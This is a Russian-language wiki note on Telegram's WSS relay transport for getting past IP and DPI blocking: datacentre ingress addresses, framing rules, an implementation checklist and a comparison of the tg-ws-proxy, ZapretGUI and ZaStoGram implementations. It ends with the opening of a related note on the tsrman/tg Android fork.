[!warning] `ping` ничего не доказывает > Во всех четырёх строках ICMP проходит, а TCP на 443 — только в одной. DPI режет соединения по порту, оставляя пинг живым, поэтому «сервер пингуется, значит доступен» — неверный вывод, на котором легко потерять часы. > > Проверять надо именно TCP. В Windows: > ```powershell > tnc 149.154.174.100 -Port 443 > ``` > и смотреть строку `TcpTestSucceeded`. Обратите внимание на синтаксис: адрес идёт без порта, порт задаётся отдельным параметром. Написание вида `Test-NetConnection - 1.2.3.4:443` заставляет PowerShell искать хост с таким именем и висеть до таймаута — легко принять это за блокировку. **Почему запасного пути нет.** У каждого датацентра ровно один ingress-адрес IPv4, и подставить чужой нельзя: адрес DC2 с именем `kws1` отвечает редиректом `302` (см. [[#Мифа про «только DC2 и DC4» не существует]]). Так что если этот единственный адрес закрыт, WSS для датацентра мёртв. **IPv6 помогает не всем.** AAAA-записи есть у всех релеев, причём у DC1 и DC5 их по два против одного IPv4 — то есть шестой протокол даёт и обход, и резервирование. Но в измеренной сети IPv6 был заблокирован целиком, включая релей DC2, который по IPv4 прекрасно работал. Отсюда важное правило реализации: **нельзя предпочитать IPv6 вслепую** — наличие у устройства глобального IPv6-адреса не означает, что маршрут до релея существует, и слепое предпочтение заменяет рабочий путь заведомо мёртвым. IPv6 должен быть дополнительным кандидатом, а не заменой. **Что делать в клиенте.** Не оставлять датацентр без содержимого навсегда. Считайте неудачи, не дошедшие даже до установленного TCP, отдельно по датацентру: несколько подряд означают, что релей недоступен, и для этого датацентра нужно временно вернуться к обычному соединению, оставив WSS там, где он работает. Иначе транспорт работает по принципу «всё или ничего», и половина медиа не грузится при внешне исправном клиенте. **Когда WSS вообще не тот инструмент.** Он придуман против блокировки по IP: адреса датацентров режут, а `web.telegram.org` трогать дороже. Если же в конкретной сети закрыты и релеи, и прямые адреса, задача другая — нужен туннель через доступный сервер (MTProxy или VPN), который проксирует все датацентры одинаково. Проверять это стоит до того, как искать баги в транспорте. --- ## Как написать WSS-транспорт правильно Сводка того, что следует из измерений, — в виде готового чек-листа. Оба форка ZaStoGram приведены к этому виду 8 августа 2026 (Android — версия 1.1.13, Desktop — коммит `7f3ceffb`), и расхождений по протокольной части между ними больше нет. **1. Первый кадр — не короче 64 байт.** Это единственное требование к нарезке, и нарушается оно незаметно. Не полагайтесь на то, что «так получается само»: заведите в транспорте буфер, который придерживает начальные байты, пока их меньше заголовка. В Android-форке это `WssSocket::write`, в Desktop — склейка `prefix` с первым пакетом в `write(prefix, buffer)`. **2. Один кадр — не больше одного MTProto-пакета.** Держать байтовый поток внутри можно и удобно, но выпускать кадр обязательно на границе пакета: всё, что попадёт в кадр вторым, сервер не увидит. Резать один пакет на несколько кадров при этом разрешено. **3. Адрес выбирайте по датацентру, а не один на всех.** Ingress-адреса не взаимозаменяемы. Минимальная верная таблица: DC1 и DC3 → `149.154.174.100`, DC2 и DC4 → `149.154.167.220`, DC5 → `149.154.170.100`. Ещё надёжнее — резолвить `kwsN.web.telegram.org` и не хардкодить ничего; хардкод имеет смысл только как обход подмены DNS, и тогда обязательно нужен откат на имя. **4. `Host` и TLS SNI — всегда имя релея**, даже когда подключаетесь по IP. Имя определяет и датацентр, и класс трафика; медиа — это суффикс `-1` в имени, а не отдельный адрес. **5. Не пишите номер датацентра в init-пакет.** В байтах 60–61 он нужен MTProxy-секретам; при WSS имя хоста уже всё сказало, а маркер приводит к отказу. Обе реализации на этом обожглись. **6. Держите откат на имя хоста и запоминайте, что сработало.** Заблокированный или устаревший адрес не должен убивать транспорт: попробуйте имя, а результат запомните на десятки минут, иначе каждое новое соединение будет заново упираться в мёртвый адрес. **7. Различайте отказ сети и отказ протокола.** Одиночный таймаут TCP к диапазонам Telegram ничего не доказывает — нужны повторы. А молчание релея после успешного апгрейда почти наверняка означает нарушение пункта 1, а не проблемы со связью. **8. Проверяйте создание ключа отдельно от передачи данных.** Транспорт, прекрасно работающий на датацентре с готовым ключом, может не проходить рукопожатие на новом — см. [[#Рукопожатие: место, где всё ломается тихо]]. Проверка «переписка работает» этот случай не ловит, потому что переписка идёт через датацентр аккаунта, а медиа живёт в других. **9. Не оставляйте датацентр без содержимого, если его релей закрыт.** Считайте отдельно по датацентру неудачи, не дошедшие даже до установленного TCP: несколько подряд означают недоступный релей, а не сломанный протокол. Для такого датацентра временно возвращайтесь к обычному соединению, оставив WSS там, где он работает. Без этого транспорт получается «всё или ничего», и половина медиа не грузится при внешне исправном клиенте. **10. Не предпочитайте IPv6 вслепую.** AAAA-записи у релеев есть, и адресов там больше, чем у IPv4, — но глобальный IPv6-адрес у устройства не гарантирует маршрут до релея. В измеренной сети IPv6 был закрыт целиком, и предпочтение шестого протокола заменило единственный рабочий путь мёртвым. IPv6 — дополнительный кандидат, а не замена. **11. Не давайте одному состоянию заливать лог.** Очередь запросов перебирается на каждом проходе цикла событий, и любая строка внутри этого перебора превращается в тысячи записей в секунду. Пишите такие сообщения не чаще раза в секунду и указывайте число свёрнутых повторов — иначе диагностика утонет ровно в тот момент, когда она нужнее всего. По состоянию на 9 августа 2026 оба форка ZaStoGram приведены к этому списку полностью, и расхождений по протоколу между ними нет: | Пункт | Android 1.1.19 | Desktop `f6bd0740` | |---|---|---| | 64 байта в первом кадре | придерживает байты, пока не наберётся заголовок | склейка заголовка с первым пакетом | | Один пакет на кадр | кадр режется по записанной границе пакета | один вызов записи на пакет | | Таблица ingress DC1–DC5 | есть | есть | | Откат при закрытом релее | есть | есть | | Порядок IPv4/IPv6 | по возможностям устройства | наследуется от Qt | Что остаётся разным по объективным причинам: Android живёт на собственном коде поверх OpenSSL и epoll и потому сам считает буферы и строго валидирует кадры; Desktop опирается на Qt, получая отлаженную работу с сокетом, но теряя контроль над очередью отправки. Это разница инструментов, а не разночтение протокола. --- ## Откуда берётся номер датацентра Датацентр не передаётся в URL и не задаётся параметром — он читается из уже упомянутых байт 60–61 расшифрованного init-пакета. Дальше номер превращается в имя релея по простому правилу: | Что нужно | Домен | Пример | |---|---|---| | Обычное соединение с DC N | `kwsN.web.telegram.org` | `kws2.web.telegram.org` | | Медиа-соединение (загрузка файлов) | `kwsN-1.web.telegram.org` | `kws4-1.web.telegram.org` | | Тестовый бэкенд | путь `/apiws_test` | поддержан только в `tg-ws-proxy` | Медийные подключения Telegram помечает отрицательным номером датацентра — именно этот знак реализации превращают в суффикс `-1`. Ошибка здесь стоит дорого: в обоих клиентских форках был баг, когда в WSS-режиме в init-пакет всё ещё писался маркер датацентра, как для MTProxy-секрета, и релей отвечал отказом `-444`, потому что имя хоста уже само определяет и датацентр, и класс трафика. --- ## Мифа про «только DC2 и DC4» не существует Почти во всех источниках — включая раннюю версию этой заметки, каталог маршрутов ZapretGUI и комментарий прямо в коде Desktop-форка — сказано, что веб-релеи есть только у DC2 и DC4, а `kws1`, `kws3` и `kws5` отвечают редиректом `302` либо молчат. **Проверка живыми соединениями 8 августа 2026 этого не подтверждает.** Каждый из трёх адресов принимает апгрейд и реально проксирует MTProto — в ответ приходит настоящий `res_pq` (конструктор `0x05162463`, `auth_key_id = 0`, nonce совпадает с отправленным): | Адрес ingress | Обслуживает | Результат проверки | |---|---|---| | `149.154.174.100` | `kws1`, `kws3` и их медийные `-1` | апгрейд и MTProto проходят | | `149.154.167.220` | `kws2`, `kws4` и их медийные `-1` | апгрейд и MTProto проходят | | `149.154.170.100` | `kws5` и `kws5-1` | апгрейд и MTProto проходят | Откуда же взялся редирект `302`? Из ошибки метода. Ingress-адреса **не универсальны**: каждый обслуживает только свои датацентры. Если постучаться на `149.154.167.220` (это DC2/DC4) с заголовком `Host: kws5.web.telegram.org`, придёт `302 Found` с `Location: https://core.telegram.org` — и заодно с заголовком `X-Redirect-Host: kws5.web.telegram.org`, которым сервер прямым текстом сообщает, куда следовало обратиться. Обратный случай ещё коварнее: `149.154.174.100` с именем `kws2` не редиректит, а принимает соединение и молчит до таймаута. Именно так и рождается ложный вывод: инструмент, который держит один зашитый адрес на все датацентры (а так устроены и мосты, и Desktop-форк), при попытке достучаться до DC1/DC3/DC5 получает либо `302`, либо тишину — и делает вывод, что релеев для них не существует. > [!warning] Как проверять правильно > Релей проверяется парой «адрес + имя», а не адресом отдельно. Для датацентра N берите ingress, обслуживающий именно этот датацентр, и ставьте `Host` и TLS SNI равными `kwsN.web.telegram.org`. Проще всего не хардкодить адреса вовсе, а резолвить имя: DNS отдаёт правильный ingress сам. > > Второй источник ложных выводов — сеть. Одиночный таймаут TCP на 443 к диапазонам Telegram — обычное дело там, где стоит DPI; без 4–5 повторов легко объявить живой релей мёртвым. В ходе этой проверки такое случалось дважды и оба раза сначала приводило к неверному диагнозу. Отдельно про DNS: имена `kwsN` и медийные `kwsN-1` резолвятся в **один и тот же** адрес — суффикс `-1` различает класс трафика на стороне релея, а не машину. У всех имён есть и AAAA-записи, то есть IPv6-путь существует, хотя проверить его не удалось. Практический смысл поправки: покрытие WSS не ограничено двумя датацентрами. Ограничение реализаций, которые держат один адрес на всё, — их собственное, а не свойство инфраструктуры Telegram. --- ## Две архитектуры: мост снаружи или транспорт внутри Все известные реализации делятся на два лагеря, и разница между ними определяет почти всё остальное — от установки до того, что видно в логах. | | **Мост рядом с клиентом** | **Нативный транспорт в клиенте** | |---|---|---| | Примеры | `tg-ws-proxy`, модуль `telegram_proxy` в ZapretGUI | ZaStoGram (Android), ZaStoGram Desktop | | Как клиент его видит | обычный SOCKS5 или MTProxy на `127.0.0.1` | никак — это внутренний способ подключения | | Что нужно от пользователя | поставить программу, добавить прокси в Telegram | поставить сам форк, включить тумблер | | Клиент можно любой | да, включая официальный | нет, только этот форк | | Криптография | поток расшифровывается мостом и шифруется заново | сквозная, без промежуточных ключей | | Гибкость маршрутов | высокая: запасные пути, внешние SOCKS5, Cloudflare | низкая: только зашитые релеи | Ключевое отличие — в третьей строке снизу. Мост не может просто переслать байты: клиент зашифровал их своим ключом, выведенным из секрета прокси, а Telegram такого секрета не знает. Поэтому мост расшифровывает транспортную обёртку и зашифровывает поток заново — уже как обычный клиент без прокси. Ещё раз: **речь только о транспортном слое**; MTProto-шифрование переписки на `auth_key` мост не трогает и расшифровать не может. Нативный транспорт этой ступени не имеет вовсе: клиент сам открывает WebSocket и сам кладёт туда свой обфусцированный поток. ### Мост: tg-ws-proxy (Flowseal) [Flowseal/tg-ws-proxy](https://github.com/Flowseal/tg-ws-proxy) — Python на asyncio, с собственной минимальной реализацией WebSocket-клиента (без сторонних библиотек) и приложением в системном трее для Windows, macOS и Linux. По умолчанию слушает `127.0.0.1:1443` как MTProto-прокси, то есть в Telegram его добавляют обычной ссылкой `tg://proxy?server=127.0.0.1&port=1443&secret=dd…`. В Docker-образе хост по умолчанию `0.0.0.0`, а `.deb`-пакет ставит systemd-юнит — тот же код разворачивают и на VPS как сетевой сервис. Отличает проект развитая система запасных путей. Если прямой WebSocket не открылся, соединение уходит по цепочке: **Cloudflare Worker → домен за Cloudflare → прямой TCP на 443**. Первый вариант — бесплатный JS-воркер, который через `cloudflare:sockets` открывает TCP к нужному IP и мостит его в WebSocket; второй — собственный домен пользователя с A-записями `kws1`…`kws203`, направленными на адреса датацентров, в режиме Cloudflare `Flexible`. Список доменов по умолчанию хранится в исходниках в закодированном виде и обновляется раз в час; адрес `raw.githubusercontent.com` при этом закреплён за конкретным IP, чтобы обновление проходило и при испорченном DNS. Ещё две особенности: пул из четырёх заранее открытых WebSocket-соединений на каждый датацентр (Telegram открывает подключения пачками, и прогретый пул экономит время на рукопожатиях) и запасной вариант с подменой SNI на `sprinthost.ru` — если прямое соединение с настоящим именем не проходит, попытка повторяется с чужим именем в TLS, тогда как заголовок `Host` остаётся честным. Поддержан и вход по FakeTLS (`ee`-секрет) — с проверкой HMAC и допуском по времени ±120 секунд, а при провале проверки соединение прозрачно перебрасывается на настоящий сайт-прикрытие. Это защита от активного зондирования, и работает она только в консольном режиме: в трей-версии FakeTLS не выведен. ### Мост, встроенный в GUI: ZapretGUI В [ZapretGUI](https://git.zapret.moe/zapretdiscordyoutube/zapret) есть отдельный раздел «Telegram Proxy» — модуль `src/telegram_proxy/` (по состоянию на коммит `a3056476`, ветка релизов 21.1.5.x). Подход к WSS взят у `tg-ws-proxy` — на это прямо указано в комментарии к коду, — но реализация своя: Python-модуль, работающий в том же процессе, что и GUI, без отдельного бинарника. Слушает `127.0.0.1:1353`, умеет два режима входа — SOCKS5 и MTProxy — и подставляет пользователю готовую ссылку `tg://socks?…` или `tg://proxy?…`, которую Telegram открывает по нажатию кнопки. Ключевое архитектурное отличие от предыдущего проекта — **внешний SOCKS5 как штатный запасной маршрут**. Когда у датацентра нет своего рабочего релея (а это все, кроме DC2 и DC4), трафик уходит на внешние SOCKS5-серверы проекта, выбираемые пресетом по стране. Отсюда же взялась основная работа последних месяцев: логика переключения между серверами несколько раз переписывалась, потому что Telegram открывает соединения залпом, и короткая серия отказов ошибочно читалась как «сервер умер». Модуль соседствует с основной функцией программы, но решает другую задачу: движок `winws2` работает с DPI на уровне пакетов, а `telegram_proxy` — с блокировкой по IP. Встроенная диагностика это прямо учитывает: она проверяет доступность релея, TCP+TLS до адресов всех датацентров, апгрейд до WebSocket для `kws1`…`kws5`, блокировку по SNI против блокировки по IP, живость локального порта — и заодно смотрит, запущен ли параллельно сам `winws2`. ### Нативный транспорт: ZaStoGram для Android Форк официального Android-клиента ([zastogram/ZaStoGram](https://git.zapret.moe/zastogram/ZaStoGram), база — Telegram 12.9.2, версия приложения 1.1.2, HEAD `ab53c8d0` от 6 августа 2026) несёт WSS прямо в нативном сетевом слое `tgnet`. Появились файлы `jni/tgnet/wss/WssSocket.cpp` (779 строк) и общий интерфейс транспорта `jni/tgnet/transport/TransportSocket.h`, которых в апстриме DrKLO нет вовсе. Реализация самодостаточная: собственная машина состояний `TcpConnecting → TlsHandshake → HttpWrite → HttpRead → Ready` поверх OpenSSL и неблокирующих сокетов, без Qt и без сторонних WebSocket-библиотек. **Покрытие датацентров шире, чем у всех остальных реализаций, и оно подтверждено.** Функция `OfficialRoute` строит маршрут для DC1–DC5, держа три зашитых адреса релеев — и проверка 8 августа 2026 показала, что все три действительно проксируют MTProto, включая медийные `kwsN-1`: | Датацентр | Зашитый адрес релея | Домен (обычный / медиа) | |---|---|---| | DC1, DC3 | `149.154.174.100` | `kws1` / `kws1-1`, `kws3` / `kws3-1` | | DC2, DC4 | `149.154.167.220` | `kws2` / `kws2-1`, `kws4` / `kws4-1` | | DC5 | `149.154.170.100` | `kws5` / `kws5-1` | Важная деталь истории: первая версия этого кода поддерживала только DC2 и DC4 — ровно как Desktop-форк сегодня. Расширение до DC1–DC5 внесли в тот же день, 5 августа 2026, коммитом «Fix media downloads over WSS», причём по аналогии, без проверки живым соединением: тест `Tools/check_wss_official_default.py` статически сверяет текст кода, а не факт успешного апгрейда. Догадка оказалась верной — измерения 8 августа подтвердили работоспособность всех трёх адресов (см. [[#Мифа про «только DC2 и DC4» не существует]]). Ещё одна поправка к раннему описанию: с версии **1.1.12 (8 августа 2026)** исходящий трафик по WSS перестал быть привязан к границам MTProto-пакетов. Отдельная очередь сообщений `outgoingWssMessages` удалена, байты идут через общий `outgoingByteStream` — так же, как у любого TCP-транспорта, — и режутся на кадры по 64 КБ. Гарантию «первый кадр не короче 64 байт» держит сам транспорт: `WssSocket::write` копит начальные байты и не выпускает кадр, пока их меньше заголовка. Обратная сторона: описанный ниже второй бюджет в 4 МБ на MTProto-пакеты вместе с очередью тоже исчез, вместо него — порог 256 КБ на уже сериализованный вывод сокета. Тестовый бэкенд и CDN-датацентры отсекаются явной проверкой (`dcId < 1 || dcId > 5 || testBackend`). Тумблер «Use WSS transport» (в интерфейсе — Data and Storage → Proxy Settings, раздел «Telegram WSS транспорт») **включён по умолчанию с версии 1.1.20**; до этого требовалось включать вручную. Осознанный выбор пользователя сохраняется: если тумблер уже трогали, берётся его значение. Совмещение с прокси запрещено полностью и в обе стороны: включение WSS гасит и обычный прокси, и «прокси для звонков», а выбор любой строки прокси гасит WSS. Проверка продублирована в семи местах кода, включая принудительное восстановление инварианта при каждой перерисовке списка прокси, — то есть это сознательная защита, а не единственная ветка условия. Разбор входящих кадров у этой реализации строгий: отклоняются ненулевые RSV-биты, маскированные кадры от сервера (RFC 6455 запрещает серверу маскировать), контрольные кадры длиннее 125 байт и фрагментированные, continuation-кадр без начатого сообщения, любой неизвестный опкод — вплоть до текстовых кадров, потому что подпротокол объявлен как `binary`. Каждый отказ получает собственный строковый код: их 29 штук, от `wss_tls_verify_failed` до `wss_accept_mismatch`, и они попадают в отладочный лог. Есть и то, чего нет у Desktop-версии, — **защита от переполнения очереди на отправку**. Лимитов два: 4 МБ на готовые WebSocket-кадры внутри сокета и ещё 4 МБ на MTProto-пакеты, ждущие своей очереди уровнем выше. При превышении соединение обрывается с кодом `ENOBUFS` — управляемый отказ вместо неограниченного роста памяти при аплоаде в медленную сеть. Обратная сторона ручной реализации — цена отладки. Вечером 5 августа и в ночь на 6-е потребовалось шесть последовательных исправлений: границы WebSocket-сообщений (заголовок, тело и паддинг писались в общий поток, и нарезка зависела от того, когда сработает системный вызов), зависание TLS-рукопожатия из-за edge-triggered epoll (пришлось перевести именно WSS-сокет на level-triggered), маркер датацентра в init-пакете, маршрут аплоада на медийный релей вместо обычного (сервер отвечал `-404`), возврат таблицы адресов релеев и, наконец, нарушение контракта OpenSSL — буфер для повторного `SSL_write` дописывался новыми кадрами и переезжал в памяти, что ломало отправку под нагрузкой. > [!warning] README форка расходится с кодом > В README ZaStoGram сказано, что «route, DNS, TLS SNI и hostname verification используют один официальный hostname; ручной таблицы relay IP нет». На момент разбора (6 августа 2026) это неверно: таблицу зашитых адресов убрали одним коммитом и вернули следующим тем же вечером, а документацию не обновили. Проверять такие утверждения стоит по коду `WssSocket.cpp`, а не по описанию. История фичи поучительна сама по себе. Сначала в форк добавили локальный WSS-шлюз с произвольными host/port/path, режимом «SOCKS внутри WebSocket» и мостом на `127.0.0.1` для мини-приложений. Через неделю вырезали SOCKS-внутри-WSS, а ещё через пять недель заменили всю конструкцию тонким транспортом к официальным релеям. В README это зафиксировано как намеренное решение: ни собственного шлюза, ни SOCKS-апстрима, ни локального релея в новой версии нет. Пользователи, у которых была настроена кастомная конфигурация, теряют её при обновлении — миграция сохраняет только сам факт «WSS был включён». ### Нативный транспорт: ZaStoGram Desktop Форк Telegram Desktop ([zastogram/ZaStoGram_desktop](https://git.zapret.moe/zastogram/ZaStoGram_desktop), версия 7.0.8 от 3 августа 2026, HEAD `729dfd39`) решает ту же задачу, но опирается на Qt. WSS живёт в `mtproto/proxy/wss/socket.cpp` поверх `QSslSocket`, а выбор сокета вынесен в фабрику: в зависимости от настроек и секрета создаётся `WssSocket`, `TlsSocket` (FakeTLS для MTProxy) или обычный `TcpSocket`. Протокольный слой при этом не знает, какой транспорт под ним, — поэтому обфускация для всех трёх одинаковая. Первое отличие от Android-версии — **транспорт по умолчанию Wss**: без единой настройки соединения идут через веб-релеи, а к непокрытым датацентрам — обычным TCP. Долгое время покрытие было ограничено DC2/DC4, с комментарием в коде «web sockets exist only for DC2 / DC4». Посылка оказалась неверной, а причина — технической: форк держал **один** зашитый адрес `149.154.167.220`, обслуживающий только эти два датацентра, и попытка достучаться через него до `kws1`/`kws5` давала редирект `302` (см. [[#Мифа про «только DC2 и DC4» не существует]]). Коммитом `7f3ceffb` от 8 августа 2026 адрес заменён таблицей «датацентр → ingress», как в Android-форке, и покрытие расширено до DC1–DC5. Подсказка «WSS unavailable for this DC» опирается на ту же функцию маршрута, поэтому для новых датацентров она пропала автоматически. Фрейминг у Desktop-версии, наоборот, случайно оказался правильным: `write(prefix, buffer)` склеивает 64-байтный init с первым пакетом в **один** кадр, поэтому требование «первый кадр не короче 64 байт» выполняется само собой. Второе — **экспертный режим с произвольным релеем**: можно указать свои host, port, path и SNI-домен, и такой маршрут работает для любого датацентра, обходя ограничение DC2/DC4. Это единственный способ во всей четвёрке реализаций подставить собственный сервер вместо инфраструктуры Telegram. Рядом с полями висит предупреждение «No certificate check is done — use only a relay you trust», и оно устарело: проверку сертификата вернули 4 июля 2026, текст в интерфейсе поправить забыли. Ошибка безобидная — пугает сильнее, чем есть риска, — но полагаться на неё как на описание поведения нельзя. Третье — **живая индикация**. В настройках строка «Connection type» показывает реальный транспорт и задержку: `Default (WSS used, ping: 87 ms)`. Android такого не умеет вовсе: там подпись «Telegram WSS transport: Official» отражает лишь состояние тумблера, а фактическое состояние сокета живёт в C++ и наружу не отдаётся. Кроме того, Desktop показывает осмысленное предупреждение, когда датацентр вне покрытия: «WSS unavailable for this DC. Add a proxy.» Совмещение с прокси разрешено выборочно: поверх удалённого SOCKS5 — можно, поверх MTProxy — нет (транспорт откатывается на TCP, потому что MTProxy сам является TCP-транспортом), поверх локального SOCKS5 на `127.0.0.1` или на порту `1353` — тоже нет. Последнее исключение сделано ровно под мосты из предыдущих разделов: заворачивать WebSocket в локальный инструмент, который сам уже строит WebSocket, бессмысленно. Цена опоры на Qt видна в двух местах. Хорошая сторона: целый класс низкоуровневых ошибок исключён по построению — буферами записи и ожиданием готовности сокета занимается давно отлаженный код Qt, поэтому ни бага с переездом буфера, ни потери события записи здесь возникнуть не могло. Плохая: приложение не управляет очередью на отправку и потому не может её ограничить — предохранителя на переполнение в WSS-транспорте Desktop нет вообще. Разбор входящих кадров тоже мягче: RSV-биты, маска от сервера, состояние фрагментации и длина контрольных кадров не проверяются, а пять текстовых сообщений об ошибках сводятся к одному машинному коду. --- ## Android или Desktop: чем отличаются По протоколу форки больше не расходятся: правило первого кадра, один пакет на кадр, таблица ingress DC1–DC5 и откат при закрытом релее выполняются в обоих. Различия остались в том, что построено вокруг транспорта. | Ось сравнения | Android (ZaStoGram) | Desktop (ZaStoGram Desktop) | |---|---|---| | Соблюдение правил фрейминга | да | да | | Покрытие датацентров | DC1–DC5 | DC1–DC5, плюс любой через свой релей | | Откат при закрытом релее | по датацентру, с 1.1.18 | по датацентру, с `f6bd0740` | | Дефолт | включён, с 1.1.20 | включён | | Свой релей | нет — только инфраструктура Telegram | есть: host, port, path, SNI | | Ограничение очереди на отправку | 4 МБ на кадры плюс 256 КБ на сериализованный вывод | отсутствует | | Строгость разбора кадров | RSV, маска сервера, фрагментация, контрольные кадры | максимальный размер и close | | Диагностика отказов | 29 отдельных кодов | 5 сообщений в одном коде | | Минимальная версия TLS | задана явно: 1.2 | наследуется от Qt | | Индикация для пользователя | статичная метка | транспорт и пинг в реальном времени | | CDN-загрузки | отключены флагом `cdn_supported=false` | разрешены, идут мимо туннеля прямым TCP | | Сочетание с прокси | запрещено полностью | разрешено поверх удалённого SOCKS5 | **Транспортный слой аккуратнее у Android.** Он считает свои буферы и отказывает управляемо, строго валидирует RFC 6455 и даёт содержательную диагностику — 29 отдельных кодов вместо пяти сообщений в одном. Плата за это — ручная работа с epoll и OpenSSL: почти все найденные за август баги транспорта жили именно здесь, и каждый чинил реальный воспроизводимый отказ. **Предсказуемость медиа тоже выше у Android.** Флаг `cdn_supported=false` убирает CDN из уравнения: файлы, стикеры и реакции идут через датацентры, а не через CDN-адреса. В Desktop CDN-редиректы разрешены, и такое соединение выходит из-под туннеля обычным TCP — ровно в той сети, где прямые адреса Telegram и режут. **Гибкость и обратная связь — за Desktop.** Свой релей остаётся выходом, когда все зашитые адреса заблокированы: у Android в такой ситуации выбор беднее. Живой индикатор транспорта с пингом отвечает на главный вопрос пользователя — работает ли обход прямо сейчас, — на который Android не отвечает никак. **Что одинаково слабо у обоих.** Ни один не мимикрирует под TLS-почерк браузера: рукопожатие уходит с отпечатком системной криптобиблиотеки, а не Chrome, хотя инфраструктура для подмены в обоих проектах есть — она подключена только к их же ветке MTProxy FakeTLS (см. [[mtproxy/ja4-sni-client-side|разбор JA4 и SNI]]). Заголовок `User-Agent` в обоих зашит с Chrome 131 — версией конца 2024 года. И ни один не показывает пользователю, что часть датацентров ушла на прямое соединение: обход работает молча. > [!tip] Практический вывод > Транспорт включён по умолчанию в обоих клиентах, и специально его настраивать не нужно. Если медиа частично не грузится — проверьте по TCP доступность релеев своей сети ([[#Релей может быть закрыт: главное практическое ограничение]]). Открыт не весь список — значит для этой сети правильнее туннель: MTProxy или VPN проводят все датацентры через один сервер, тогда как WSS работает только там, где открыт релей. --- ## Чем это отличается от MTProxy и VPN Легко решить, что WSS — это «MTProxy, но лучше», и ошибиться. Разница в том, где стоит точка выхода. Классический [[Zapret/mtproto/00-overview|MTProxy]] — это **ваш сервер** (или чужой публичный), к которому клиент подключается по произвольному порту и который дальше сам идёт к Telegram. Он позволяет ротировать адреса, ставить FakeTLS, делить порт 443 с настоящим сайтом — но требует VPS, а его адрес рано или поздно попадает в списки блокировок. WSS-транспорт не требует ничего своего: клиент идёт напрямую на инфраструктуру Telegram, просто через её веб-подъезд. Отсюда и плюс, и минус. Плюс — не надо ничего поднимать и платить, а домен назначения принадлежит Telegram. Минус — вы не управляете точкой выхода: если конкретный релей начнёт отвечать редиректом или замолчит, сделать с этим нечего, кроме как переключиться на запасной маршрут. От VPN обе схемы отличаются одинаково: они уводят только трафик Telegram и не трогают остальную систему, не держат туннель и не сажают батарею. Звонки не переносит ни одна из них — голос и видео ходят по UDP мимо любого TCP-прокси, — но это вопрос не «работают или нет», а «чем их закрывать»: трафик звонка идёт напрямую, и его задача решается пакетным обходом ([[Zapret2/Zapret2|zapret]] перехватывает в том числе UDP и STUN) или VPN. | | MTProxy на своём VPS | WSS-транспорт | VPN | |---|---|---|---| | Нужен свой сервер | да | нет | обычно да | | Куда идёт трафик | ваш IP | инфраструктура Telegram | ваш IP | | Управление точкой выхода | полное | никакого | полное | | Работает вне Telegram | нет | нет | да | | Переносит звонки | нет, идут напрямую | нет, идут напрямую | да | | Что блокируют в первую очередь | IP сервера | сами релеи и подходы к ним | IP сервера, протокол | Отсюда практическая связка: WSS или MTProxy отвечают за переписку и медиа, пакетный обход — за звонки и за те датацентры, до которых веб-релеи не дотягиваются. Они не конкуренты и работают параллельно. --- ## Что дальше Схема выглядит изящно, но у неё большой список оговорок: работают не все датацентры, стикеры и реакции ходят через CDN мимо релеев, звонки не проксируются вовсе, а бесплатные запасные пути через Cloudflare упираются в лимиты. Всё это разобрано отдельно — с симптомами, причинами и тем, что показывает диагностика: [[mtproxy/telegram-wss-limits|Ограничения WSS: что не работает и почему]]. --- ## 📚 См. также - [[mtproxy/telegram-wss-limits|Ограничения WSS: что не работает и почему]] — парная заметка: датацентры, медиа, звонки, Cloudflare, типичные диагнозы - [[Zapret/mtproto/00-overview|MTProto Proxy — полный гайд]] — обзорный раздел про классический MTProxy: протокол, реализации, цензура - [[Zapret/mtproto/01-protocol|Протокол MTProxy: 3 режима и FakeTLS]] — что такое abridged/intermediate/padded intermediate и откуда берутся теги `0xef`/`0xdd`/`0xee` - [[mtproxy/ja4-sni-client-side|Кто может менять JA4 и SNI]] — почему обход по «почерку» соединения делается на клиенте, а не на релее - [[mtproxy/faketls-relay-diagnosis|Релей или клиент: диагностика MTProxy]] — как понять, кто виноват, когда рабочий ключ не подключается - [[mtproxy/tsrman-tg-android-faketls|tsrman/tg — Telegram для Android со сменой JA4]] — другой подход к тому же: не смена транспорта, а смена TLS-почерка - 🔗 [Flowseal/tg-ws-proxy](https://github.com/Flowseal/tg-ws-proxy) — исходники моста на Python, документация по Cloudflare Worker и FakeTLS - [[virus/github-removes-clean-zapret-keeps-malware-august-2026|🎭 GitHub снёс чистые сборки Zapret, а вирусные оставил]] — почему исходники ZaStoGram с 11 августа 2026 доступны только в Forgejo: GitHub-организация `youtubediscord` удалена - 🔗 [zastogram/ZaStoGram](https://git.zapret.moe/zastogram/ZaStoGram) — исходники Android-форка: WSS-транспорт в `TMessagesProj/jni/tgnet/wss/`, готовые APK — в [релизах](https://git.zapret.moe/zastogram/ZaStoGram/releases) - 🔗 [zastogram/ZaStoGram_desktop](https://git.zapret.moe/zastogram/ZaStoGram_desktop) — исходники Desktop-форка: WSS-транспорт в `Telegram/SourceFiles/mtproto/proxy/wss/` - 🔗 [RFC 6455](https://datatracker.ietf.org/doc/html/rfc6455) — спецификация WebSocket: рукопожатие, маскирование, формат кадров --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/mtproxy/telegram-wss-transport.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-14 tags: - mtproto - mtproxy - dpi - tspu - ja4 - faketls - telegram - android aliases: - tsrman/tg - Telegram Android с клиентским FakeTLS - Форк Telegram с подменой JA4 - tg android faketls link: https://github.com/tsrman/tg --- # 📱 tsrman/tg — форк Telegram для Android со сменой JA4 на клиенте > [!info] О чём заметка > `tsrman/tg` — форк **официального приложения Telegram для Android** (исходники DrKLO), который меняет TLS-почерк (JA4) FakeTLS-подключения к MTProto-прокси прямо в клиенте и добавляет джиттер между коннектами. Это **готовый GUI-клиент**, воплощающий тезис из [[mtproxy/ja4-sni-client-side|разбора, почему обход MTProxy клиентский]]: чистая смена JA4 возможна только на стороне клиента — и здесь она встроена в обычное приложение, а не в отдельный relay или библиотеку. Ниже — что именно он меняет, результат проверки безопасности и как соотносится с детекцией ТСПУ (Технические Средства Противодействия Угрозам — DPI-оборудование российских операторов). > [!tip] Результат проверки безопасности (июнь 2026) > В отревьюированной **дельте автора не нашлось** утечек, бэкдоров или чужих адресов, а база — подлинный официальный Telegram (общая история с DrKLO/Telegram подтверждена по полному SHA коммита). Проверен **один коммит автора**, а не весь миррор целиком (оговорки — в разделе [[#Безопасность: что проверено]]), так что вердикт 